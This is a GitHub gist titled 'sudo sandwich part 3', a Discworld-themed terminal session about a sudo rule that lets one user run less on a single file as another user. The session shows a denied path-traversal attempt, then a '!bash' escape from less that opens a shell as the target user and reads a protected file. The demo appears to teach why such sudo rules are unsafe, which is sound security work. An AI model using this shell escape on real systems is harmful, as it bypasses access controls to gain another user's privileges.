Created
December 6, 2018 02:45
-
-
Save ridingintraffic/536080c7a53181e315b53e4a1d993555 to your computer and use it in GitHub Desktop.
sudo sandwich part 3
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@discworld:~# cat /etc/sudoers.d/012_twoflower-nopasswd | |
twoflower discworld=(rincewind) /usr/bin/less /luggage/camera/picture |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
twoflower@discworld:/luggage/camera$ sudo -u rincewind less picture | |
Sorry, user twoflower is not allowed to execute '/usr/bin/less picture' as rincewind on discworld. | |
## got it i need the whole path | |
twoflower@discworld:/luggage/camera$ sudo -u rincewind less /luggage/camera/picture | |
<less session begins> | |
i see things | |
/luggage/camera/picture (END) | |
<type>:q<enter> | |
<quit less session> | |
## can i traverse? | |
twoflower@discworld:/luggage/camera$ sudo -u rincewind less /luggage/camera/../octavo/spell | |
Sorry, user twoflower is not allowed to execute '/usr/bin/less /luggage/camera/../octavo/spell' as rincewind on discworld. | |
## traverse failed | |
## but wait... | |
twoflower@discworld:/luggage/camera$ sudo -u rincewind less /luggage/camera/picture | |
<less session begins> | |
i see things | |
/luggage/camera/picture (END) | |
<type>!bash<enter> | |
<new bash session starts> | |
rincewind@discworld:/luggage/camera$ cat ../octavo/spell | |
Ashonai. Ebiris. Urshoring. Kvanti. Pythan. N'gurad. Feringomalee. | |
## gdi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment